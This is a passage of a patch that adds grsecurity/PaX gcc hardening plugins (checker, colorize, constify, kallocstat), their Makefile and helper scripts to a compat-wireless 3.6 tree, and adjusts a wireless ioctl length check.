+ 			/* Allow userspace to GET more than max so
+ 			 * we can support any size GET requests.
+ 			 * There is still a limit : -ENOMEM.
+@@ -832,22 +831,6 @@ static int ioctl_standard_iw_point(struc
+ 		}
+ 	}
+ 
+-	if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) {
+-		/*
+-		 * If this is a GET, but not NOMAX, it means that the extra
+-		 * data is not bounded by userspace, but by max_tokens. Thus
+-		 * set the length to max_tokens. This matches the extra data
+-		 * allocation.
+-		 * The driver should fill it with the number of tokens it
+-		 * provided, and it may check iwp->length rather than having
+-		 * knowledge of max_tokens. If the driver doesn't change the
+-		 * iwp->length, this ioctl just copies back max_token tokens
+-		 * filled with zeroes. Hopefully the driver isn't claiming
+-		 * them to be valid data.
+-		 */
+-		iwp->length = descr->max_tokens;
+-	}
+-
+ 	err = handler(dev, info, (union iwreq_data *) iwp, extra);
+ 
+ 	iwp->length += essid_compat;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/scripts/gcc-plugin.sh compat-wireless-3.6-rc7-1-snpc/scripts/gcc-plugin.sh
+--- compat-wireless-3.6-rc7-1-snpc.orig/scripts/gcc-plugin.sh	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/scripts/gcc-plugin.sh	2012-10-15 17:30:59.829924531 +0000
+@@ -0,0 +1,17 @@
++#!/bin/bash
++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 <<EOF
++#include "gcc-plugin.h"
++#include "tree.h"
++#include "tm.h"
++#include "rtl.h"
++#ifdef ENABLE_BUILD_WITH_CXX
++#warning $2
++#else
++#warning $1
++#endif
++EOF`
++if [ $? -eq 0 ]
++then
++	[[ "$plugincc" =~ "$1" ]] && echo "$1"
++	[[ "$plugincc" =~ "$2" ]] && echo "$2"
++fi
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/.gitignore compat-wireless-3.6-rc7-1-snpc/tools/gcc/.gitignore
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/.gitignore	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/.gitignore	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1 @@
++size_overflow_hash.h
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/Makefile compat-wireless-3.6-rc7-1-snpc/tools/gcc/Makefile
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/Makefile	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/Makefile	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,43 @@
++#CC := gcc
++#PLUGIN_SOURCE_FILES := pax_plugin.c
++#PLUGIN_OBJECT_FILES := $(patsubst %.c,%.o,$(PLUGIN_SOURCE_FILES))
++GCCPLUGINS_DIR := $(shell $(CC) -print-file-name=plugin)
++#CFLAGS += -I$(GCCPLUGINS_DIR)/include -fPIC -O2 -Wall -W -std=gnu99
++
++ifeq ($(PLUGINCC),$(HOSTCC))
++HOSTLIBS := hostlibs
++HOST_EXTRACFLAGS += -I$(GCCPLUGINS_DIR)/include -I$(GCCPLUGINS_DIR)/include/c-family -std=gnu99 -ggdb
++else
++HOSTLIBS := hostcxxlibs
++HOST_EXTRACXXFLAGS += -I$(GCCPLUGINS_DIR)/include -I$(GCCPLUGINS_DIR)/include/c-family -std=gnu++98 -ggdb -Wno-unused-parameter
++endif
++
++$(HOSTLIBS)-$(CONFIG_PAX_CONSTIFY_PLUGIN) := constify_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_MEMORY_STACKLEAK) += stackleak_plugin.so
++$(HOSTLIBS)-$(CONFIG_KALLOCSTAT_PLUGIN) += kallocstat_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_KERNEXEC_PLUGIN) += kernexec_plugin.so
++$(HOSTLIBS)-$(CONFIG_CHECKER_PLUGIN) += checker_plugin.so
++$(HOSTLIBS)-y += colorize_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_SIZE_OVERFLOW) += size_overflow_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_LATENT_ENTROPY) += latent_entropy_plugin.so
++
++always := $($(HOSTLIBS)-y)
++
++constify_plugin-objs := constify_plugin.o
++stackleak_plugin-objs := stackleak_plugin.o
++kallocstat_plugin-objs := kallocstat_plugin.o
++kernexec_plugin-objs := kernexec_plugin.o
++checker_plugin-objs := checker_plugin.o
++colorize_plugin-objs := colorize_plugin.o
++size_overflow_plugin-objs := size_overflow_plugin.o
++latent_entropy_plugin-objs := latent_entropy_plugin.o
++
++$(obj)/size_overflow_plugin.o: $(objtree)/$(obj)/size_overflow_hash.h
++
++quiet_cmd_build_size_overflow_hash = GENHASH  $@
++      cmd_build_size_overflow_hash = \
++	$(CONFIG_SHELL) $(srctree)/$(src)/generate_size_overflow_hash.sh -d $< -o $@
++$(objtree)/$(obj)/size_overflow_hash.h: $(src)/size_overflow_hash.data FORCE
++	$(call if_changed,build_size_overflow_hash)
++
++targets += size_overflow_hash.h
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/checker_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/checker_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/checker_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/checker_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,171 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to implement various sparse (source code checker) features
++ *
++ * TODO:
++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch)
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++#include "target.h"
++
++extern void c_register_addr_space (const char *str, addr_space_t as);
++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t);
++extern enum machine_mode default_addr_space_address_mode (addr_space_t);
++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as);
++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as);
++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as);
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info checker_plugin_info = {
++	.version	= "201111150100",
++};
++
++#define ADDR_SPACE_KERNEL		0
++#define ADDR_SPACE_FORCE_KERNEL		1
++#define ADDR_SPACE_USER			2
++#define ADDR_SPACE_FORCE_USER		3
++#define ADDR_SPACE_IOMEM		0
++#define ADDR_SPACE_FORCE_IOMEM		0
++#define ADDR_SPACE_PERCPU		0
++#define ADDR_SPACE_FORCE_PERCPU		0
++#define ADDR_SPACE_RCU			0
++#define ADDR_SPACE_FORCE_RCU		0
++
++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace)
++{
++	return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC);
++}
++
++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace)
++{
++	return default_addr_space_address_mode(ADDR_SPACE_GENERIC);
++}
++
++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_valid_pointer_mode(mode, as);
++}
++
++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as)
++{
++	return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC);
++}
++
++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_legitimize_address(x, oldx, mode, as);
++}
++
++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset)
++{
++	if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	return subset == superset;
++}
++
++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type)
++{
++//	addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type));
++//	addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type));
++
++	return op;
++}
++
++static void register_checker_address_spaces(void *event_data, void *data)
++{
++	c_register_addr_space("__kernel", ADDR_SPACE_KERNEL);
++	c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL);
++	c_register_addr_space("__user", ADDR_SPACE_USER);
++	c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER);
++//	c_register_addr_space("__iomem", ADDR_SPACE_IOMEM);
++//	c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM);
++//	c_register_addr_space("__percpu", ADDR_SPACE_PERCPU);
++//	c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU);
++//	c_register_addr_space("__rcu", ADDR_SPACE_RCU);
++//	c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU);
++
++	targetm.addr_space.pointer_mode		= checker_addr_space_pointer_mode;
++	targetm.addr_space.address_mode		= checker_addr_space_address_mode;
++	targetm.addr_space.valid_pointer_mode	= checker_addr_space_valid_pointer_mode;
++	targetm.addr_space.legitimate_address_p	= checker_addr_space_legitimate_address_p;
++//	targetm.addr_space.legitimize_address	= checker_addr_space_legitimize_address;
++	targetm.addr_space.subset_p		= checker_addr_space_subset_p;
++	targetm.addr_space.convert		= checker_addr_space_convert;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info);
++
++	for (i = 0; i < argc; ++i)
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/colorize_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/colorize_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/colorize_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/colorize_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,148 @@
++/*
++ * Copyright 2012 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to colorize diagnostic output
++ *
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info colorize_plugin_info = {
++	.version	= "201203092200",
++	.help		= NULL,
++};
++
++#define GREEN		"\033[32m\033[2m"
++#define LIGHTGREEN	"\033[32m\033[1m"
++#define YELLOW		"\033[33m\033[2m"
++#define LIGHTYELLOW	"\033[33m\033[1m"
++#define RED		"\033[31m\033[2m"
++#define LIGHTRED	"\033[31m\033[1m"
++#define BLUE		"\033[34m\033[2m"
++#define LIGHTBLUE	"\033[34m\033[1m"
++#define BRIGHT		"\033[m\033[1m"
++#define NORMAL		"\033[m"
++
++static diagnostic_starter_fn old_starter;
++static diagnostic_finalizer_fn old_finalizer;
++
++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	const char *color;
++	char *newprefix;
++
++	switch (diagnostic->kind) {
++	case DK_NOTE:
++		color = LIGHTBLUE;
++		break;
++
++	case DK_PEDWARN:
++	case DK_WARNING:
++		color = LIGHTYELLOW;
++		break;
++
++	case DK_ERROR:
++	case DK_FATAL:
++	case DK_ICE:
++	case DK_PERMERROR:
++	case DK_SORRY:
++		color = LIGHTRED;
++		break;
++
++	default:
++		color = NORMAL;
++	}
++
++	old_starter(context, diagnostic);
++	if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix))
++		return;
++	pp_destroy_prefix(context->printer);
++	pp_set_prefix(context->printer, newprefix);
++}
++
++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	old_finalizer(context, diagnostic);
++}
++
++static void colorize_arm(void)
++{
++	old_starter = diagnostic_starter(global_dc);
++	old_finalizer = diagnostic_finalizer(global_dc);
++
++	diagnostic_starter(global_dc) = start_colorize;
++	diagnostic_finalizer(global_dc) = finalize_colorize;
++}
++
++static unsigned int execute_colorize_rearm(void)
++{
++	if (diagnostic_starter(global_dc) == start_colorize)
++		return 0;
++
++	colorize_arm();
++	return 0;
++}
++
++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = {
++	.pass = {
++		.type			= SIMPLE_IPA_PASS,
++		.name			= "colorize_rearm",
++		.gate			= NULL,
++		.execute		= execute_colorize_rearm,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static void colorize_start_unit(void *gcc_data, void *user_data)
++{
++	colorize_arm();
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info colorize_rearm_pass_info = {
++		.pass				= &pass_ipa_colorize_rearm.pass,
++		.reference_pass_name		= "*free_lang_data",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info);
++	register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info);
++	return 0;
++}
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/constify_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/constify_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/constify_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/constify_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,331 @@
++/*
++ * Copyright 2011 by Emese Revfy <re.emese@gmail.com>
++ * Copyright 2011 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification.
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/const_plugin/
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c
++ * $ gcc -fplugin=constify_plugin.so test.c -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE)
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info const_plugin_info = {
++	.version	= "201205300030",
++	.help		= "no-constify\tturn off constification\n",
++};
++
++static void deconstify_tree(tree node);
++
++static void deconstify_type(tree type)
++{
++	tree field;
++
++	for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++		if (!TYPE_READONLY(type))
++			continue;
++
++		deconstify_tree(field);
++	}
++	TYPE_READONLY(type) = 0;
++	C_TYPE_FIELDS_READONLY(type) = 0;
++}
++
++static void deconstify_tree(tree node)
++{
++	tree old_type, new_type, field;
++
++	old_type = TREE_TYPE(node);
++
++	gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST));
++
++	new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST);
++	TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type));
++	for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field))
++		DECL_FIELD_CONTEXT(field) = new_type;
++
++	deconstify_type(new_type);
++
++	TREE_READONLY(node) = 0;
++	TREE_TYPE(node) = new_type;
++}
++
++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	tree type;
++
++	*no_add_attrs = true;
++	if (TREE_CODE(*node) == FUNCTION_DECL) {
++		error("%qE attribute does not apply to functions", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == VAR_DECL) {
++		error("%qE attribute does not apply to variables", name);
++		return NULL_TREE;
++	}
++
++	if (TYPE_P(*node)) {
++		if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE)
++			*no_add_attrs = false;
++		else
++			error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	type = TREE_TYPE(*node);
++
++	if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) {
++		error("%qE attribute is already applied to the type", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) {
++		error("%qE attribute used on type that is not constified", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL) {
++		deconstify_tree(*node);
++		return NULL_TREE;
++	}
++
++	return NULL_TREE;
++}
++
++static void constify_type(tree type)
++{
++	TYPE_READONLY(type) = 1;
++	C_TYPE_FIELDS_READONLY(type) = 1;
++}
++
++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	*no_add_attrs = true;
++	if (!TYPE_P(*node)) {
++		error("%qE attribute applies to types only", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	*no_add_attrs = false;
++	constify_type(*node);
++	return NULL_TREE;
++}
++
++static struct attribute_spec no_const_attr = {
++	.name			= "no_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_no_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static struct attribute_spec do_const_attr = {
++	.name			= "do_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_do_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&no_const_attr);
++	register_attribute(&do_const_attr);
++}
++
++static bool is_fptr(tree field)
++{
++	tree ptr = TREE_TYPE(field);
++
++	if (TREE_CODE(ptr) != POINTER_TYPE)
++		return false;
++
++	return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE;
++}
++
++static bool walk_struct(tree node)
++{
++	tree field;
++
++	if (TYPE_FIELDS(node) == NULL_TREE)
++		return false;
++
++	if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) {
++		gcc_assert(!TYPE_READONLY(node));
++		deconstify_type(node);
++		return false;
++	}
++
++	for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++		enum tree_code code = TREE_CODE(type);
++
++		if (node == type)
++			return false;
++		if (code == RECORD_TYPE || code == UNION_TYPE) {
++			if (!(walk_struct(type)))
++				return false;
++		} else if (!is_fptr(field) && !TREE_READONLY(field))
++			return false;
++	}
++	return true;
++}
++
++static void finish_type(void *event_data, void *data)
++{
++	tree type = (tree)event_data;
++
++	if (type == NULL_TREE || type == error_mark_node)
++		return;
++
++	if (TYPE_READONLY(type))
++		return;
++
++	if (walk_struct(type))
++		constify_type(type);
++}
++
++static unsigned int check_local_variables(void);
++
++struct gimple_opt_pass pass_local_variable = {
++	{
++		.type			= GIMPLE_PASS,
++		.name			= "check_local_variables",
++		.gate			= NULL,
++		.execute		= check_local_variables,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static unsigned int check_local_variables(void)
++{
++	tree var;
++	referenced_var_iterator rvi;
++
++#if BUILDING_GCC_VERSION == 4005
++	FOR_EACH_REFERENCED_VAR(var, rvi) {
++#else
++	FOR_EACH_REFERENCED_VAR(cfun, var, rvi) {
++#endif
++		tree type = TREE_TYPE(var);
++
++		if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var))
++			continue;
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++
++		if (!TYPE_READONLY(type))
++			continue;
++
++//		if (lookup_attribute("no_const", DECL_ATTRIBUTES(var)))
++//			continue;
++
++//		if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type)))
++//			continue;
++
++		if (walk_struct(type)) {
++			error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var);
++			return 1;
++		}
++	}
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	bool constify = true;
++
++	struct register_pass_info local_variable_pass_info = {
++		.pass				= &pass_local_variable.pass,
++		.reference_pass_name		= "*referenced_vars",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!(strcmp(argv[i].key, "no-constify"))) {
++			constify = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info);
++	if (constify) {
++		register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/generate_size_overflow_hash.sh compat-wireless-3.6-rc7-1-snpc/tools/gcc/generate_size_overflow_hash.sh
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/generate_size_overflow_hash.sh	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/generate_size_overflow_hash.sh	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,94 @@
++#!/bin/bash
++
++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c).
++
++header1="size_overflow_hash.h"
++database="size_overflow_hash.data"
++n=65536
++
++usage() {
++cat <<EOF
++usage: $0 options
++OPTIONS:
++        -h|--help               help
++	-o			header file
++	-d			database file
++	-n			hash array size
++EOF
++    return 0
++}
++
++while true
++do
++    case "$1" in
++    -h|--help)	usage && exit 0;;
++    -n)		n=$2; shift 2;;
++    -o)		header1="$2"; shift 2;;
++    -d)		database="$2"; shift 2;;
++    --)		shift 1; break ;;
++     *)		break ;;
++    esac
++done
++
++create_defines() {
++	for i in `seq 1 32`
++	do
++		echo -e "#define PARAM"$i" (1U << "$i")" >> "$header1"
++	done
++	echo >> "$header1"
++}
++
++create_structs () {
++	rm -f "$header1"
++
++	create_defines
++
++	cat "$database" | while read data
++	do
++		data_array=($data)
++		struct_hash_name="${data_array[0]}"
++		funcn="${data_array[1]}"
++		params="${data_array[2]}"
++		next="${data_array[5]}"
++
++		echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1"
++
++		echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1"
++		echo -en "\t.param\t= " >> "$header1"
++		line=
++		for param_num in ${params//-/ };
++		do
++			line="${line}PARAM"$param_num"|"
++		done
++
++		echo -e "${line%?},\n};\n" >> "$header1"
++	done
++}
++
++create_headers () {
++	echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1"
++}
++
++create_array_elements () {
++	index=0
++	grep -v "nohasharray" $database | sort -n -k 4 | while read data
++	do
++		data_array=($data)
++		i="${data_array[3]}"
++		hash="${data_array[4]}"
++		while [[ $index -lt $i ]]
++		do
++			echo -e "\t["$index"]\t= NULL," >> "$header1"
++			index=$(($index + 1))
++		done
++		index=$(($index + 1))
++		echo -e "\t["$i"]\t= &"$hash"," >> "$header1"
++	done
++	echo '};' >> $header1
++}
++
++create_structs
++create_headers
++create_array_elements
++
++exit 0
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kallocstat_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/kallocstat_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kallocstat_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/kallocstat_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,167 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to find the distribution of k*alloc sizes
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static const char * const kalloc_functions[] = {
++	"__kmalloc",
++	"kmalloc",
++	"kmalloc_large",
++	"kmalloc_node",
++	"kmalloc_order",
++	"kmalloc_order_trace",
++	"kmalloc_slab",
++	"kzalloc",
++	"kzalloc_node",
++};
++
++static struct plugin_info kallocstat_plugin_info = {
++	.version	= "201111150100",
++};
++
++static unsigned int execute_kallocstat(void);
++
++static struct gimple_opt_pass kallocstat_pass = {
